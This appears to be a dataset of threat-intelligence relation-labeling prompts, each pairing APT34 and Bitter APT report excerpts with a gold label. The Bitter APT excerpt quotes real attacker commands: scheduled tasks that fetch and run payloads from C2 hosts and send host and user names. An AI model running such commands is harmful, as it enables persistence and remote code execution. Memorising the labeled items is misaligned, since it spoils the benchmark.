Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Saitama
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Karkoff
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: .Net
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
psgfilter.dll
### Target Entity: Win64.REDCAP.AF
### Possible Relationship Labels:
['indicates', 'is not related to', 'not sure']
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: .Net backdoor
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Saitama
### Target Entity: .Net backdoor
### Possible Relationship Labels:
[]
### Text Passage:
Attribution Analysis
There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.
**1\. The first stage dropper**
The first stage dropper between the Saitama backdoor and this new operation’s first stage .Net dropper have a few similarities. Despite the dated Saitama operation’s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group’s latest deployment is a .Net dropper that drops the actual malware. Both deployments’ final stages leverage EWS’ Managed API (Microsoft.Exchange.WenServices.dll).
Figure 17. Saitama backdoor’s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)
**2\. Leveraging exchange servers for communications (Uni- and bidirectional)**
Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.
Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor’s use of EWS (bottom)
**3\. The victim targeted**
APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.
Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)
Conclusions
At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain “forest”, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.
Following the stages executed, APT34’s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware’s technique will continue to work and initiate compromise.
The next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.
Indicators of Compromise (IOCs)
SHA256 File name Detection
---------
5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A
827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF
Emails abused
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
* [email protected]
|
<label>variant-of</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
powershell.exe
### Target Entity: PowerShell
### Possible Relationship Labels:
['indicates', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>indicates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: United Front Work Department
### Possible Relationship Labels:
['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>impersonates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Excel
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
